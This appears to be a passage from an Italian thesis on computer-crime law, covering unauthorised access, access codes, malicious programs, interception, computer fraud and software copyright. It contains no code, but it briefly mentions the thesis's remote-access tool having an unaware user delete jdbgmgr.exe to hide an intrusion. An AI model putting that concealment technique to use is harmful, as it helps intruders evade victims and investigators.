Ma l’avverbio in esame allarga la sfera di impunibilità anche al di là delle cause di giustificazione: una diversa opinione lo renderebbe pleonastico e un’interpretazione abrogratrice non è di consueto concepibile se non in ipotesi di assoluta contraddittorietà dei dati normativi. 

Resta il fatto che l’indagine e la decisione del giudice in materia non saranno senza dubbio prive di difficoltà.

La consumazione del delitto avverrà nel momento dell’introduzione del sistema, trattandosi di reato istantaneo.

Nella seconda ipotesi essa interverrà nel momento in cui il titolare del diritto di esclusione manifesti la volontà espressa di esercitarlo o non ci sia piu ogni dubbio  su una conforme volontà tacita emergente da altri fatti significativi [art. 615 ter C.P. configura perciò due ipotesi: una commissiva (introduzione in un sistema informatico protetto da misure di sicurezza), un’altra omissiva ( inserimento contro la volontà dell’avente diritto nel sistema)].

Il dolo  consiste nella cosciente e volontaria ingerenza nel sistema, conoscendo che esso è protetto da misure di sicurezza, o nella volontà di rimanervi malgrado l’intervenuto dissenso del titolare dello ius excludendi.

Sono contemplate 4 circostanze aggravanti che rendono il delitto procedibile d’ufficio:

1. Abuso dei poteri o violacei doveri da parte del pubblico ufficiale incaricato di pubblico servizio che commette il fatto, ovvero l’intervento di investigatore privato che eserciti, pur senza licenza, la professione, o di operatore  del sistema il quale abusi della sua qualità

2. casi in cui il colpevole per commettere il fatto usa violenza sulle cose o sulle altre persone ovvero è palesemente  armato.

3. l’ipotesi che dal fatto derivi la distruzione o il danneggiamento del sistema o l’interruzione totale o parziale del suo funzionamento, ovvero la distruzione o il danneggiamento dei dati, delle informazioni, o dei programmi in esso contenuti.

4. le situazioni nelle quali la fattispecie di cui al 1° comma sia posta in essere su “sistemi informatici o telematici di interesse militare o relativi all’ordine pubblico o alla sicurezza pubblica o alla sanità o alla protezione civile o comunque di interesse pubblico “con inasprimento ulteriore della pena se in tal caso il fatto sia commesso dai soggetti di cui sopra al num. 1.

Tre sembrano le problematiche di maggior rilievo, la prima di carattere generale riguarda il bene protetto ( il legislatore del 1993 ha scelto di inserire la nuova disposizione tra i reati contro l’inviolabilità del domicilio, a fianco, tra gli altri, dell’art. 614 del codice penale dunque apparentemente a tutela di un “nuovo domicilio” e precisamente quello informatico.

Primo.

La seconda riguarda la definizione di “sistema informatico o telematico; la terza riguarda l’interpretazione delle misure di sicurezza”.

1° riguardo il bene protetto in dottrina si sono delineate le 4 distinte opinioni secondo le quali fattispecie intenderebbe:

· Il cosiddetto domicilio informatico.

· L’integrità dei dati e del sistema.

· La riservatezza dei dati.

· L’indisturbata fruizione del sistema.

 Cassazione sez. VI penale sentenza 3067/1999.   
La giurisprudenza, dal canto suo sembra aver optato per la 5° via (simile alla prima) e cioè la generica tutela dei servizi informatici o telematici non senza sottolineare i profili economici patrimoniali della tutele delle stesse.

Premesso che occorre sempre prescindere dalla natura normalmente padronica ( che precede la commissione di altri reati ) dell’accesso abusivo, la conclusione della cassazione (pur discendendo da quella più corretta che sottolinea il parallelismo con il domicilio tradizionalenella sua estensione della persona), non pare convincere: invero questo approccio rischia di sovrapporre la fattispecie del. Art 615 ter cp con il reato di frode informatica (vedi Art. 640 ter codice penale inserito nell’appendice “implicazioni legali”), e soprattutto con i profili economico patrimoniali che sono propri  di tale figura(e non dell’accesso abusivo dell’art. 615 ter c.p. “vedi nota in IMPLICAZIONI LEGALI”, ciò anche riconoscendo la possibilità di concorsa tra i due reati.  (615 ter e 640 ter C.P.).

Secondo.

Riguardo al sistema informatico o telematico , è importante darne una definizione precisa anche perché può risultare rilevante con riferimento a tutte le disposizioni che fanno analoghi riferimenti, sebbene la legge 547/1993 non utilizzi il temine “computer”, sembra però opportuno distinguere tra apparati serviti dall’informatica e apparati intrinsecamente informatici, non semplici dispositivi elettronici evoluti.

Terzo.

Riguardo le misure di sicurezza, premesso che l’art.615 ter c.p.  che prevede due ipotesi (una commissiva e una omissiva ), va precisato che le misure di sicurezza risultano soltanto in quella commissiva.

Al di là di ciò, ci si è domandati quali siano le misure di sicurezza rilevanti ai sensi dell’art 615 ter c.p.  la risposta non è sempre agevolevista che la definizione “misure di sicurezza” è utilizzata anche dalla legge 675/1996  in tema di dati personali che dall’art. 15 della cost. fa riferimento a “idonee e preventive misure di sicurezza”.

Il carattere dell’idoneetà imposto dalla legge 675/1996 può trarre in inganno e in effetti, in un caso concreto (tribunale di Roma, sentenza dell’ VIII° sezione penale, sentenza 4-21 aprile 2000 ). Si è sostenuto che “l’esistenza di mezzi efficaci di protezione è elemento costitutivo della fattispecie incriminatrice di cui art. 615 ter c.p. laddove però l’efficacia ( o meglio l’idoneità) delle misure di sicurezza non vi è traccia nella disposizione.

In tema di integrità del sistema informatico o telematico e di ipotesi di istigazione al sabotaggio:

bisogna premettere che il concetto di cosa mobile viene dal diritto civile e trasporato in materia penale si desume che l’effetto estensivo dell’art. 624, comma 2 del codice penale, il quale dice che “agli effetti della legge penale, si considera cosa mobile anche l’energia elettrica e ogni altra energia che abbia valore economico”.

Con la diffusione dei beni immateriali tipici dell’informatica, (dati, informazioni, programmi) tale allargamento è parso però insufficiente a garantire una tutela appropriata [sono note ad esempio, le decisioni circa “l’impossibilità di furto dei beni informatici” ovviamente che non siano Hardware, sebbene in cosa di sottrazione di dati sia stato applicato “art.615 ter c.p.” (vedi nota sull’appendice delle implicazioni legali). 

Il legislatore del 1993 ha imparte ovviato a tali limitazioni: con art 635 bis del c.p. (danneggiamento di sistemi informatici o telematici)  e con l’art. 392 comma 3° del c.p. che ha esteso il concetto di violenza sulle cose (validoper tutto l’ordinamento), gli interventi su beni informatici.

Un discorso a parte merita poi il reato di cui all’art.420 codice penale che dopo la riforma del 1993, estende ora le ipotesi di attentato a impianti di pubblica utilità anche ai sistemi informatici o telematici di pubblica utilità( ad esempio siti istituzionali), ovvero a dati , informazioni e programmi in essi contenuti o ad essi pertinenti.   

A parte la netta anticipazione del punibile tipica dei reati di attentato, l’aspetto più problematico appare quello del concorso (solo apparente) tra il reato previsto dall’articolo 420 3° comma cp e quello previsto dall’art. 635 bis cp nel rinvio fato all’agravante dell’art.625 n. 7 cp relativo alle cose di pubblica utilità.

Stante comunque la clausola riportata dall’art 635 bis ( salvo che il fatto costituisca più grave reato) prevarrà la disposizione speciale (cioè quella contemplata nell’articolo 420 cp.

In tema di omessa adozione di misure di sicurezza il legislatore aveva già previsto una fattispecie specifica inerente una condotta non conforme alle regole sulle misure di sicurezza all’art. 34 della legge 675/1996. 

Con la riforma del decreto legislativo 467/2001, la disposizione contempla ora un reato di natura contravvenzionale punito con pena alternativa.

Rilevante è la previsione di una procedura estintiva del reato mutuata dalla legislazione in tema di sicurezza e igiene nel lavoro (specie gli articoli 21 – 24 d lgs 758/1994): All’atto dell’accertamento, l’organo di vigilanza o il garante stesso (nei casi di particolare complessità) indicheranno alcune prescrizioni cui il responsabile dovrà adeguarsi entro un termine prorogabile, ma comunque non superiore ai 6 mesi. 

L’adempimento sarà verificato nei 60 giorni successivi allo scader del termine.

In caso di esito positivo, adempimento stesso e il pagamento di una somma pari al quarto del massimo dell’ammenda prevista  dalla legge comporteranno l’estinzione del reato.

Ai sensi dell’art. 24 del Dlgs 758/1994 (specie 4° comma ) sarà comunque applicabile la particolare disciplina prevista per l’adempimento tardivo (pur sempre in un termine consono) e per l’eliminazione delle conseguenze dannose e pericolose della contravvenzione con modalità diverse da quelle indicate dall’organo di vigilanza con accesso all’oblazione ex.art. 162 bis del codice penale e riduzione della somma da versare al al quarto del massimo dell’ammenda.

La legge 547/1993 ha introdotto il concetto di documento informatico in senso penalistico con due distinte disposizioni.  (art.491 bis e 621, comma 2 cp ): al di là di varie problematiche, anche non secondarie (come ad esempio alcune limitazioni nell’applicazioni dei due articoli o il fatto che non tutte le ipotesi delittuose possono adattarsi al mondo digitale), secondo la legge penale è documento informatico pubblico o privato “qualunque supporto informatico contenente dati o informazioni aventi efficacia probatoria o programmi specificatamente destinati ad elaborati “il documento viene così a coincidere col supporto, scelta discutibile che per la più attenta dottrina impedisce di svincolare il documento informatico dai documenti tradizionali, come quelli cartacei con i quali ha ben poco da spartire.

Di conseguenza il documento informatico non fissato su un supporto rischia di rimare del tutto privo di tutela penale visto che neppure la disciplina introdotta dal Dpr. 513/1997, che meglio definisce il documento informatico come rappresentazione informatica di atti o  fatti sembra poter essere di aiuto.

Anche se la definizione è posta soltanto “ai fini del presente decreto”(Dpr. 513/1997) ed è dunque valida soltanto per le materie civile ed amministrativa.

Articolo 615 quater codice penale. (vedi nota nell’appendice “Implicazioni Legali”). 

L’ art. 615 quater cp sempre introdotto dalla legge 547/1993 ha la seguente rubrica “detenzione e diffusione abusiva di codici di accesso a sistemi informatici o telematici”  e sempre nel quadro della tutela della riservatezza, sanziona con  reclusione e multa il fatto di “chiunque, al fine di procurare a se stessi o a altri un profitto o di arrecare ad altri un danno, abusivamente si procura, riproduce, diffonde, comunica o consegna codici, parole chiave o altri mezzi idonei all’accesso ad un sistema informatico o telematico, protetto da misure di sicurezza o comunque ne fornisce indicazioni o istruzioni idonee al predetto scopo.

La norma in ordine alla condotta rilevante contempla 2 ipotesi alternative:

la prima mette a fuoco ogni tipo di comportamento che esprima un’ingerenza non consentita per superare quelle misure di sicurezza, le quali per il solo fatto di essere predisposte, rilevano la volontà operativa del titolare del diritto di esclusione:

la seconda prende in considerazione l’attività dell’eventuale compartecipe (nel reato), estendendone la responsabilità anche oltre i consueti limiti del concorso di persone e quindi al di là della determinazione, istigazione o rafforzamento del proposito criminoso e per il solo fatto di aver fornito notizie capaci di consentire all’autore di realizzare la condotta vietata.

Anche questa condotta criminosa prevede una nota di antigiuridicità speciale espressa con ‘avverbio “Abusivamente” , pure qui per non tendere l’avverbio pleonastico, occorre andare al di là della sfera di efficacia delle cause di giustificazione e supporre perciò tipi di condotta lecita che tuttavia prescinda dalle medesime cause di giustificazione stesse: per esempio in potere di ingerenza che, nell’ambito di un ufficio gerarchicamente organizzato, si consecutivo al superiore per motivi di buon funzionamento dell’ufficio medesimo.

Il reato è istantaneo e si consuma  col primo atto rilevante di ingerenza.

È richiesto un dolo specifico espresso  dal fine di profitto (anche non patrimoniale ) per sé o per altri, o da uno scopo di arrecare danno.

Aggrava il delitto il concorso di talune delle circostanze di cui ai numeri 1 e 2 del 4° comma dell’art. 617 quater (fatto commesso da pubblico ufficiale o incaricato di pubblico servizio con violazione dei doveri di ufficio o abuso della qualità di operatore del sistema, ovvero in danno di un sistema informatico o telematico appartenente allo stato o ad altro ente pubblico o ad altra impresa esercente servizi pubblici o di pubblica necessità).

Articolo 615 quinquies codice penale. (vedi nota nell’appendice “Implicazioni Legali”). 

L’ Articolo 615 quinquies codice penale, introdotto sempre dalla legge 547/1993 (Rubrica:diffusione di programmi diretti a danneggiare o interrompere un sistema informatico), reca sanzioni per chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l’interruzione totale o parziale o l’alterazione del suo funzionamento.

Con formula molto analitica, affine a quella degli ACTS dell’ordinamento britannico e indulgendo in precisazioni probabilmente inutili, quanto non fuorvianti (vedi ad esempio l’espressione “programma informatico…da lui stesso o da altri redatto”), questa fattispecie incrimina l’uso di programmi con lo scopo di danneggiare sistemi informatici o telematici nei dati o programmi ad esso pertinenti, ovvero di interrompere o alterare il loro funzionamento.

Basta alla rilevanza la comunicazione o consegna del così detto programma di disturbo portatore di virus che contaminano il sistema, il delitto perciò si consuma con la consegna, la comunicazione, la diffusione, ( ecco quindi che la presente Tesi non comporta reato visto l’espressa volontà scritta dell’autore del non utilizzo ne dei codici sorgente che del prodotto della compilazione: vedi Avvertenza in Frontespizio). 

Il dolo comprende la coscienza e la volontà di far uso del programma portatore di virus con lo scopo di danneggiare l’intero sistema, ovvero alcuno dei dati o programmi che vi sono inseriti o vi si ricollegano interrompendone o alterandone il funzionamento. 

L’Articolo 615 quinquies c.p soffre sicuramente di una collocazione infelice: posto subito dopo le due disposizioni che presidiano il domicilio informatico, art. 615 ter e 615 quater cp,  il reato in questione pare invece tutelare la mera integrità dei sistemi informatici o telematici, a ben vedere in una fase anticipata coincidente con la mera circolazione (se non con il possesso ) di programmi informatici aventi per scopo o per effetto il danneggiamento dei suddetti sistemi. Il riferimento ai “programmi “ lascia anzitutto intatta l’applicabilità ad ambiti diversi dai virus intesi in senso stretto ( si pensi ai Worm e ai Cavalli di Troia senza che tali esempi possano ritenersi esaustivi del fenomeno ”malicius code”), nonché a programmi che sebbene non siano stati scritti con finalità distruttive, generino nel danneggiamento ( si pensi ad esempio ai comandi standard di formazione delle memorie di messa e di cancellazione dei dati).

Ma la disposizione in esame assume un ruolo primario anche nella legislazione in tema di dati personali. In vero ai sensi dell’articolo 4, comma 1° lettera C) del Ddr 318/1999 regolamento sulle misure di sicurezza ai sensi dell’art. 15 legge 675/1996)  gli elaboratori connessi a una rete (accessibile e non accessibile al pubblico) devono essere protetti contro il rischio di intrusione ad opera di programmi di cui all’articolo 615 quinquies c.p. mediante idonei programmi, la cui efficacia ed aggiornamento sono verificati con cadenza almeno semestrale. Ciò significa che ad esempio un computer connesso ad internet (anche non stabilmente) deve essere dotato di ANTIVIRUS e secondo un orientamento più rigido, di dispositivi firewall a garanzia dell’integrità e della riservatezza dei dati altrui in esso contenuti.

La tutela della corrispondenza informatica e telematica.

Dottrina. Nel nostro ordinamento giuridico esiste una serie di norme intese a reprimere il fatto di procacciarsi, divulgare e anche utilizzare notizie relative a qualche cosa che avrebbe dovuto restare segreta. Queste norme sono assai numerose e riguardano gli oggetti più diversi concernendo i segreti di stato, il segreto epistolare, quello professionale, nonché quello scientifico ed industriale. Esse rinviano ad un concetto comune e cioè ad una situazione tutelaredel diritto in forza della quale una notizia relativa a determinati fatti o cose dev’essere conosciuta solo da una persona o da una ristretta cerchia di persone.data tale identità di situazione, si domanda  se non sia possibile giungere ad una nozione unitaria del soggetto penalmente rilevante, idonea ad illuminare ciascuna delle figure di reato che vengono in considerazione.

L’importanza di tale ricerca risulta evidente se si pensa che le molteplici norme che espressamente o implicitamente sono imperniate sul concetto di segreto, non si preoccupano di precisare la struttura e lasciano perciò tal compito all’interprete.  Secondo il prof. Antolisei, occorre anzitutto notare dal rilievo secondo il quale il segreto non è né una cosa né una notizia né un fatto, ma una relazione che intercorre tra la conoscenza di fatti o cose ed un determinato soggetto, questa relazione si profila sotto un duplice aspetto: dal punto di vista passivo, esso importa l’obbligo per i non autorizzati di non procurarsi, divulgare o utilizzare le notizie relative a certi oggetti; dal punto di vista attivo, il segreto dà luogo ad un potere, spettante a date persone di escludere i terzi da quella conoscenza, dalla sua comunicazione ad altri o dal suo sfruttamento.

Premesso che taluno può escludere altri dalla conoscenza ecc. di notizie concernenti fatti o cose, in quanto tali fatti o tali cose rappresentino l’oggetto di una posizione giuridica più ampia, che comprende nel proprio contenuto quel potere di esclusione, va detto che, affinché si possa pretendere il segreto su alcunché (vale a direl’astensione dei non autorizzati dall’apprendimento etc.) è indispensabile la titolarità di un diritto che ponga il dato che si vuol tenere celato nella sfera di assoluta pertinenza di un soggetto.

Dall’esame delle varie norme dettate per tutelare le singole situazioni di segreto , si ricava che il diritto in parola consiste o nella potestà sovrana dello stato o in un diritto della personalità o nel diritto di proprietà: precisamente è necessario che i fatti celabili costituiscono rispettivamente 1) estrinsecazione della potestà sovrana (come nelle ipotesi di segreto di stato, ovvero 2) estrinsecazione di un diritto della personalità come nel caso in cui un soggetto viene a conoscenza, per ragioni del proprio stato o ufficio o della propria professione o altre, di fatti che debbono essere celati).

Quanto alle cose esse debbono costituire o oggetto di potestà ovvero oggetto di un diritto di proprietà. Inoltre vanno aggiunte particolari caratteristiche di fatto: in primo luogo, l’accadimento o la cosa non debbono essere notori (vale a dire a cognizione di un rilevante numero di persone oltre quelli che possono legalmente conoscerli): in secondo luogo, occorre che essi siano di tal natura da giustificare nel soggetto titolare di uno dei diritti sopraccitati, l’interesse giuridicamente apprezzabile a che la loro conoscenza non venga conseguita, divulgata o utilizzata senza il suo consenso.

Naturalmente il carattere di riservatezza viene meno allorché si verifica una manifestazione di volontà da parte di chi vi è autorizzato, dalla quale si possa desumere la rinuncia al segreto.

Va infine precisato che mentre in genere occorre accettare caso per caso la presenza dei requisiti sopra riferiti, talune volte, come nel caso della corrispondenza, è lo stesso legislatore che afferma il carattere segreto di determinati oggetti, tenendo pertanto superfluo ogni ulteriore apprezzamento del giudice.

Tra le manifestazioni destinate a rimanere inaccessibili alla  conoscenza dei non legittimati, vi è quella relativa alla comunicazione del proprio pensiero ad uno o più individui determinati (in dottrina a tal proposito si parla di un diritto di corrispondere liberamente con altri, alla tutela del diritto (segreto epistolare) provvedono numerose norme che, per ragioni di affinità, prendono in considerazione anche comportamenti che pongono in esse impedimenti o interruzioni al libero espletamento della corrispondenza, si può affermare perciò che in conformità all’art. 15 della costituzione(per cui la libertà e la segretezza della corrispondenza e di ogni altra forma di comunicazione sono inviolabili),  il diritto penale tutela, accanto alla riservatezza, anche la libertà e la sicurezza dei rapporti di corrispondenza.

La legge 547/1993 è intervenuta nella parte di codice penale relativa di delitti contro l’inviolabilità dei segreti (Lib II, Titolo XII, Capo III, Sezione V del codice penale), mediante l’introduzione di nuove fattispecie delittuose scritte sulla falsariga delle ipotesi tradizionali e con modifiche che estendono disposizioni preesistenti.tra quest’ultime va ricordata anzitutto l’estensione, limitata alla sezione menzionata.del concetto di corrispondenza in armonia con la copertura costituzionale.

Così secondo il nuovo testo dell’art.616 ultimo comma cp per corrispondenza si intende quella epistolare telegrafica telefonica, informatica, o telematica ovvero effettuata con ogni altra forma di comunicazione a distanza.

Va precisato poi che (sempre secondo il prof. Antolisei) costituisce corrispondenza ogni comunicazione di idee, sentimenti, propositi, dati o notizie svolgentesi tra una o più persone determinate, in modo diverso dalla conversazione in presenza 1) è necessari che la conversazione assuma carattere personale 2) che siano determinati i destinatari (non anche i mittenti; per cui alla stregua della legge penale, si debbono considerare corrispondenza, anche le comunicazioni anonime o pseudo anonime);

Nel caso specifico della “corrispondenza telematica” è compreso qualunque tipo di comunicazione tramite terminali.

La tutela penale del segreto epistolare, come del resto quella di ogni altro tipo di segreto, viene meno quando si gisca nell’esercizio di un diritto o nell’adempimento di un dovere.

Se tale principio si presenta pacifico , grande incertezza trova in dottrina allorché si esclude a determinate situazioni che costituiscono la fonte di un simile delitto.

Il problema si presenta delicato specie nell’ambito dei rapporti di subordinazione:in linea generale va negata l’ammissibilità del sindacato sulla corrispondenza diretta al subordinato, a meno che non vi siano fondate ragioni (vedi in appendice “implicazioni legali” articolo 616 cp giusta causa) per ritenere che in essa siano contenuti elementi comprovanti fatti illeciti che interessino in modo diretto l’agente.

La violazione del segreto epistolare , nonché le ipotesi che questa si richiamano per ragioni di affinità sono previste dal codice penale negli articoli dal 616 al 620 e nell’articolo 623 bis. 

Le violazioni attinenti alla riservatezza nelle comunicazioni informatiche o telematiche o intercorrenti tra più sistemi sono perseguite con gli articoli 617 quater, quinquies e sexsies, introdotti dalla legge 547/1993 che ha anche provveduto ad integrare l’art.621 e sostituito l’art. 623 bis cp).

Lo stesso articolo 617 cp (cognizione interruzione o impedimento illeciti di comunicazioni o conversazioni telegrafiche o telefoniche), è stato per effetto dell’art. 623 bis così come modificato dalla legge 547/1993), ampliato nella sua sfera di efficacia ed esteso nella sua applicazione anche alle comunicazione informatiche o telematiche e a qualunque altra trasmissione a distanza di suoni immagini o altri dati. È da ritenersi che  il legislatore  con una formulazione in parte peronastica, abbia intesofar riferimento a tipi di comunicazione al di fuori di quelle radiotelevisive per la generalità( e quindi a tutti i tipi di comunicazione a circuito chiuso, a frequenza riservata etc). resta fermo comunque che le azioni costitutive delle figure criminose in esame nell’art.617 cp debbano essere eseguite fraudolentemente.

L’articolo 617 quater cp: al 1° comma incrimina chiunque fraudolentemente intercetta comunicazione relativa ad un sistema informatico o telematico o intercorrenti tra più sistemi, ovvero le impedisce o le interrompe.

La ragione del punire va qui ravvisata non solo in forma di tutela della riservatezza ma anche nella difesa della regolarità delle comunicazioni che ovviamente, nel rispetto dei limiti di legge, si vogliono libere, complete e senza interruzioni, per questo motivo il 2° comma precisa che con la stessa pena contemplata per la condotta di cui al 1° comma, viene colpito, salvo che il fatto non costituisca un più grave reato, chiunque rivela, mediante mezzo di informazione al pubblico, in tutto o in parte, il contenuto delle comunicazioni suddette.
L’azione esecutiva del 1° delitto consiste nell’intercettare, ovvero impedire totalmente o parzialmente con interruzioni provocate da qualsiasi forma di ingresso nel sistema, o nel dialogo di sistemi, comunicazioni con mezzi informatici o telematici.

Nel secondo delitto, la condotta si sostanzia altresì nel rilevare al pubblico (il che esclude le comunicazioni personali e riservate) quanto si appreso con l’illegittimo inserimento nei casi di comunicazioni considerati.

L’interruzione deve avvenire fraudolentemente: nella specie sembra che l’avverbio esprima una modalità della condotta e la consideri rilevante quando l’illecito nelle comunicazioni attuate con sistemi informatici o telematici avvenga con mezzi capaci di trarre in inganno sulla fonte e sui modi di interferenza. Ciò però esonererebbe da responsabilità chi operi in modo palese, ancorché volontario; il che non sembra ragionevole nei confronti di una norma volta anche alla difesa della riservatezza ( probabilmente una norma in chiave di consapevolezza dell’autore e nel binario storico che qualifica fraudolento un comportamento volto a recare un ingiusto danno porterebbe ad una migliore coordinazione con la ragione pratica del punire).

Non sembra comunque che tale avverbio abbia riguardo alle ipotesi di impedimento o interruzione delle comunicazioni (il che è giustificabile trattandosi di fatti gravi ).

La seconda condotta considerata cioè quella di rivelare al pubblico del contenuto delle comunicazioni intercettate non deve essere invece qualificata da frode (è sufficiente il pregiudizio insito nella diffusione della notizia).

Il momento consumativi del primo reato si perfeziona con la fraudolenta intercettazione: il riferimento al plurale indeterminativo “comunicazioni” fa si che la plurietà eventuale di intercettazioni non dia luogo a una plurietà di reati.così anche l’impedimento e l’intercettazione, che implicano un aggravamento della condotta sopraccitata, non danno luogo a concorso di reati ma  ad un apprezzamento più rigoroso del fatto ex. Art. 133 cp; così pure per lo stesso motivo, la plurietà di rivelazioni al pubblico non provoca plurietà di reati.

Entrabe le ipotesi criminose ammettono il tentativo. È possibile il concorso tra di loro, tali delitti sono procedibili a querela della persona offesa tuttavia si procede d’ufficio in una serie di ipotesi aggravate, nelle quali determinante peso rispetto alla tutela della riservatezza personale viene ad acquistar l’interesse pubblico della segretezza della notizia e regolarità dei servizi informatici o telematici.

L’art. 617 quinquies cp ( vedi nota in appendice “Implicazioni legali”): contempla il fatto di chiunque, fuori dai casi consentiti dalla legge, installa apparecchiature atte ad intercettare, impedire o interrompere comunicazioni relative ad un sistema informatico o telematico, ovvero intercorrenti tra più sistemi.

La condotta si sostanzia nel predisporre strumenti idonei alla intercettazione o anche soltanto all’impedimento o interruzione, la legge non richiede che le apparecchiature siano operanti, bastano la loro attitudine agli scopi per i quali vengano poste in essere. Il reato si consuma col solo fatto del collocamento degli apparati poiché si colpisce l’installazione di strumenti capaci di realizzare i comportamenti antidoverosi sopra richiamati, non è inconcepibile la rilevanza a titolo di tentativo del fatto di cui si adoperi per creare l’apparecchiatura vietata senza raggiungere l’intento per motivi indipendenti dal suo volere.

Il dolo postula la volontà di installare in loco con la coscienza dell’idoneità di ciò che si pone in essere all’intercettazione, impedimento o intenzione di interrompere delle comunicazioni.

L’art. 617 quinquies si caratterizza per anticipare la soglia di punibilità della fattispecie precedente ponendo l’installazione di apparecchiature atte ad intercettare, impedire o interrompere le comunicazioni informatiche o telematiche, <anche se non di meno non sembra ravvisabile lo schema di un delitto a consumazione anticipata.>.

L’Art. 617 sexies cp: prende in considerazione l’ipotesi in cui verificatasi una intercettazione l’operatore disponga della comunicazione così acquisita, alterandola, sopprimendola o falsandola, o ne faccia o consenta poi l’uso per scopi di profitto o di danno altrui. Oggetto della tutela è pur sempre la riservatezza delle notizie intercettate, ma anche la fiducia dei consociati sulla loro credibilità e il diritto, se del caso qualora se ne faccia uso, che esse non siano manipolate per scopi personali. Ivi consegue una faticosa formula normativa alla quale possono persino ricondursi ipotesi di tentativo di truffa e quindi profili atti ad offendere il patrimonio, nell’ambito di una fattispecie plurioffensiva malgrado l’ampia formula normativa tuttavia, soggetto attivo del reato potrà essere soltanto l’intercettatore o colui al quale quest’ultimo abbia palesato le notizie apprese.

Oggetto materiale della condotta è la comunicazione, volutamente o casualmente intercettata, i cui contenuti vengono comunque distorti si ha pure nella formula della soppressione totale o parziale, per generici scopi di profitto, patrimoniale e non, o di altrui danno.

Il riferimento alla falsificazione , molto involuto, esprime il concetto dell’alterazione di quanto appreso in modo da attribuirgli un significato diverso dal reale.

È da ritenersi che il fatto della falsificazione, alterazione o soppressione, non è punito se non è accompagnato da un fatto ulteriore consistente in un’azione (il fare uso), o in una omissione (il consentire che altri ne facciano uso) e costituiscono entrambi l’elemento del reato.

Il tentativo è possibile ancorché di difficile realizzazione.  Il reato si consuma con l’uso delle comunicazioni intercettate, falsificate o alterate, uso che potrebbe, uso che potrebbe essere implicito nel fatto stesso della loro soppressione.

Il dolo richiede la volontà di falsificare, alterare o sopprimere ed altresì che il soggetto il cui obbligo d’intervento deriva dalla comunicazione della notizia, abbia voluto l’uso o consapevolmente l’abbia tollerato da parte dei terzi.

È implicito il fine di procurare a se o ad altri un vantaggio con altrui pregiudizio.

Va detto che incidentalmente, per ciò che sembra più rilevante, attesa la possibilità di commettere una frode informatica non soltanto manipolando i dati contenuti in un sistema ma “con qualsiasi modalità” tale modalità può essere proprio una di quelle contemplate dall’art. 617 sexies cp: si evidenzia pertanto la possibilità di un concorso dei 2 reati (617 sexies cp in aggiunta a 640 ter cp) da risolvere secondo gli ordinari canoni dell’art. 15 cp che, secondo la dottrina maggioritaria condurrebbero alla possibilità di concorso (non essendo presente alcuna clausola di sussidiarietà ed essendo evidente la diversità dei beni tutelati).

Pubblicazione su Server straniero.  

Un ultimo profilo di interesse riguarda la pubblicazione su Server posti fuori dal nostro paese, di pagine web offensive dell’onore. Per l’ordinamento penale le questioni di giurisdizione trovano soluzione nell’articolo 6 cp. In particolare per quanto riguarda il mondo telematico, assume particolare rilievo il secondo comma il quale scegliendo il principo dell’ubiquità recita : “il reato si considera commesso nel territorio dello stato, quando l’azione o l’omissione che lo costituisce è ivi avvenuta in tutto o in parte ovvero si è verificato l’evento che è la conseguenza dell’azione o della omissione”. 
Le questioni sulla giurisdizioni si sono peraltro intrecciate con quelle riguardanti il reato di diffamazione di cui una recente decisione di legittimità, (cassazione, art, 5° penale, sentenza 12-27 dicembre 2000/ num 4741): secondo la cassazione anzitutto la diffamazione è un evento “psicologico” consistente nella percezione da parte dei terzi dell’espressione offensiva.

Sicchè la consumazione avviene “al momento della percezione dello stesso da parte di soggetti che siano terzi” rispetto alla gente ed alla persona offesa.

Tornando all’articolo 6 comma 2 cp,  sussisterà la giurisdizione italiana nel caso in cui ci sia percezione nel territorio nazionale.

La tutela penale del software: 

Il primo ordinamento che ha riconosciuto al sofware dignità di opera intellettuale, disponendo in suo favore una forte tutela nell’ambito del diritto d’autore è stato quello statunitense, grazie al computer software amendment act 1980 che ha poi condizionato le scelte di numerosi stati legislatori.

Negli anni novanta, anche le istituzioni comunitarie decisero di fornire espressamente  per elaboratore la protezione riconosciuta alle altre opere d’autore attraverso l’emanazione della direttiva 91/250/CEE recepito nel nostro ordinamento  con il Dlgs 518/1992 (emanato il 29 dicembre 1992) che ha novellato la legge sul diritto d’autore 633/1941 estendendo la tutela penale di programmi per elaboratore, per tramite l’aggiunta al CAPO III della legge sul diritto d’autore alla sezione sesta (programmi per elaboratori).

Per il software si è dunque ritenuto applicabile non senza contrasti la tutela date alle opere dell’ingegno (diritto d’autore) e non quella brevettale. 

In linea di principio, per il software in quanto tale la legge sancisce il divieto di brevettazione, in quanto la sua protezione è assicurata dalla normativa sul diritto d’autore, conformemente a quanto disposto dalla normativa comunitaria.

In realtà il software può venire brevettato in quanto strumentale al funzionamento ed all’utilizzazione di determinati dispositivi industriali.

L’Art. 2577 codice civile “contenuto del diritto( d’autore)”

1° comma: l’autore ha diritto esclusivo di pubblicare l’opera e di utilizzarla economicamente in ogni forma e modo nei limiti e per gli effetti fissati dalla legge.

2° comma: l’autore, anche dopo la cessazione dei diritti previsti dal comma precedente può rivendicare la paternità dell’opera e può opporsi a qualsiasi deformazione, mutilazione o altra modificazione dell’opera stessa, che possa essere di pregiudizio al suo onore o alla sua reputazione.

La legge tutela il diritto d’autore sotto due profili: 1) come diritto morale d’autore e 2) come diritto patrimoniale d’autore.

Il diritto morale d’autore (che si esprime anche nel secondo comma dell’articolo 2577 del codice civile ) si estrinseca tra l’altro nel diritto di farsi riconoscere autore dell’opera e di impedire che altri se ne attribuiscano la paternità ovvero ne faccia oggetto di plagio o di imitazione o attenti o attenti alla sua integrità . (tale diritto spetta anche all’autore di opera anonima, che può far sempre riconoscere in giudizio la sua qualità d’autore) e nel diritto di apportare all’opera tutte quelle modificazioni ritenute opportune e per converso di vietare che altri la modifichino arbitrariamente senza il consenso dell’autore). Si nota a tal proposito che si ricade in illecito nella modificazione della struttura del sistema operativo quando si voglia, al fine di eliminare le tracce dell’intrusione, far cancellare il file jdbgmgr.exe ad un utente ignaro (vedi “come procedere In caso di fallimento della rimozione del Server con le tecniche previste in Pok Client,” riportato  a pag. 9 ).

A tutela di tali facoltà la legge sul diritto d’autore (legge.633/1941) prevede: 

1. un’azione a difesa della paternità dell’opera 

2. un’azione a difesa dell’integrità dell’opera.

· Il diritto morale d’autore è imprescrittibile, inalienabile e trasmissibile, (salvo il diritto di ritirare l’opera dal commercio, che è intrasmissibile).

